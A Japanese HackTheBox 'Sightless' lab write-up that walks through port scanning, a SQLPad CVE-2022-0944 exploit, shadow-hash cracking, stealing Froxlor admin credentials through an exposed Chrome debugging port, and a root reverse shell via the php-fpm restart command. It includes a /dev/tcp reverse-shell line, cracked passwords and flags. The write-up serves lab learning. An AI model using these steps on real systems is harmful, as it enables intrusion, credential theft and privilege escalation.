概要
HackTheBox「Sightless」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.32 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
| Invalid command: try being more creative
|_ Invalid command: try being more creative
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_ 256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/13%Time=66E3D77D%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | ProFTPD |
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx 1.18.0 |
ドメイン名が分かったので/etc/hosts
に追加します。
10.10.11.32 sightless.htb
80
番ポートでWebサイトが表示されました。
ソースコードからサブドメインを発見したので/etc/hosts
に追記します。
sqlpad.sightless.htb
にアクセスすると、SQLPad
が表示されました。
バージョンは6.10.0
だと分かりました。
SQLPad 6.10.0
で脆弱性情報を検索するとCVE-2022-0944
がヒットしました。
攻撃には下記PoCを使用しました。
Netcatでリッスンします。
nc -lvnp 4444
PoCを実行します。
$ python exploit.py http://sqlpad.sightless.htb 10.10.14.96 4444
リバースシェルをrootで張れましたが、ホスト名やファイル構成などからdockerコンテナ内のシェルだと推測できます。
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.96] from (UNKNOWN) [10.10.11.32] 44164
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root
/home
配下からmichael
アカウントを発見しました。
# ls -la /home
ls -la /home
total 20
drwxr-xr-x 1 root root 4096 Aug 6 11:23 .
drwxr-xr-x 1 root root 4096 Aug 2 09:30 ..
drwxr-xr-x 2 michael michael 4096 Aug 9 09:42 michael
drwxr-xr-x 1 node node 4096 Aug 9 09:42 node
/etc/passwd
ファイルと/etc/shadow
ファイルの内容をKaliに保存してパスワードを解析します。
$ unshadow passwd shadow > johnpasswd
$ john johnpasswd --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blindside (root)
insaneclownposse (michael)
root
,michael
のパスワードを得られました。
michael
アカウントでSSH接続に成功しました。
$ ssh michael@sightless.htb
michael@sightless.htb's password:
Last login: Fri Sep 13 08:00:51 2024 from 127.0.0.1
michael@sightless:~$
/home/michael/user.txt
からユーザーフラグを入手できました。
69ff88b13e32c2f5465f949d5a73af47
Root Flag
/home
配下からjohn
アカウントを発見しました。
$ ls -la /home/
total 16
drwxr-xr-x 4 root root 4096 May 15 19:03 .
drwxr-xr-x 20 root root 4096 Sep 14 14:55 ..
drwxr-x--- 4 john john 4096 Aug 9 11:31 john
drwxr-x--- 6 michael michael 4096 Sep 14 15:43 michael
linpeas
を実行します。
./linpeas.sh
ローカルの8080
ポートが稼働していると分かりました。
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp 0 0 127.0.0.1:39633 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:43177 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:34307 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38753 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:40887 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
SSHでポートフォワーディングをします。
$ ssh -L 8080:127.0.0.1:8080 michael@sightless.htb
chromeで127.0.0.1:8080
にアクセスするとfroxlor
のログイン画面が表示されました。
GitHubからディレクトリ構成を得られました。
また、chrome
の--remote-debugging-port=
オプションが脆弱だと判定されました。
john 1674 0.6 2.8 34003124 111920 ? Sl 18:18 0:08 | _ /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.cExPjE data:,
john 1726 2.9 3.8 1186796400 154396 ? Sl 18:18 0:36 | | _ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1676 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1729966564004418 --launc
pspy
でプロセス監視を行うと、下記のプロセスが定期的に実行されていると分かりました。
/home/john/automation/healthcheck.sh
/var/www/html/froxlor/bin/froxlor-cli
/home/john/automation/administration.py
./pspy32
CMD: UID=1001 PID=5348 | /bin/bash /home/john/automation/healthcheck.sh
CMD: UID=0 PID=5356 | /bin/sh -c /usr/bin/nice -n 5 /usr/bin/php -q /var/www/html/froxlor/bin/froxlor-cli froxlor:cron 'tasks' -q 1> /dev/null
CMD: UID=1001 PID=1524 | /usr/bin/python3 /home/john/automation/administration.py
下記サイトなどを参考にChrome Remote Debugger
の接続を試みます
--remote-debugging-port=0
の場合はランダムにデバッグポートが割り当てられるようです。
LISTENしているポートを調べます。
$ ss -l
(省略)
tcp LISTEN 0 4096 127.0.0.1:36603 0.0.0.0:*
tcp LISTEN 0 511 127.0.0.1:http-alt 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:mysql 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:domain 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:48495 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:http 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:45415 0.0.0.0:*
tcp LISTEN 0 128 [::]:ssh [::]:*
tcp LISTEN 0 128 *:ftp *:*
今回の場合、127.0.0.1:45415
と127.0.0.1:48495
が怪しいですが、48495
はchromedriver
が使用しているので45415
にポートフォワーディングします。
CMD: UID=1001 PID=1525 | /home/john/automation/chromedriver --port=48495
$ ssh -L 45415:127.0.0.1:45415 michael@sightless.htb
michael@sightless.htb's password:
Last login: Tue Oct 29 08:14:20 2024 from 10.10.14.10
michael@sightless:~$
chrome://inspect
に移動し、Discover network targets
->Configure
からフォワーディングしたアドレスを入力します。
Chrome DevTools プロトコル
を調べると/json/json/list
パスで使用可能なすべての WebSocket ターゲットの一覧を取得できるようです。
確認すると/admin.sightless.htb:8080/index.php
が設定されています。
chrome://inspect
画面を見ているとRemote Target
のTaget
にFroxlor
のアドレスが定期的に表示されるのを確認できます。
inspect
をクリックするとFroxlor
にログイン->ログアウトしている様子を確認できました。
Network
タブからログイン処理のindex.php
をみるとPaylaod
からユーザー名とパスワードを入手できました。
Username: admin
,Password: ForlorfroxAdmin
でログインに成功しました。
PHP
->PHP-FPM version
ページに遷移します。
php-fpm restart command
に設定されたコマンドをphp-fpm
を再起動することで実行できます。
これを利用してリバースシェルを張ります。
リバースシェルファイルをターゲットマシン上に作成します。
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.10/1234 0>&1
php-fpm restart command
の値をリバースシェルファイルを実行するコマンドに変更し、保存します。
System
->Settings
->PHP-FPM
のEnable php-fpm
からPHP-FPMを再起動します。
Netcatでしばらくリッスンしているとroot権限でリバースシェルを張れました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.10] from (UNKNOWN) [10.10.11.32] 33700
bash: cannot set terminal process group (7062): Inappropriate ioctl for device
bash: no job control in this shell
root@sightless:~# whoami
whoami
root
/root/root.txt
からルートフラグを入手できます。
d24937ddbdf6a61961f1a0c32421771a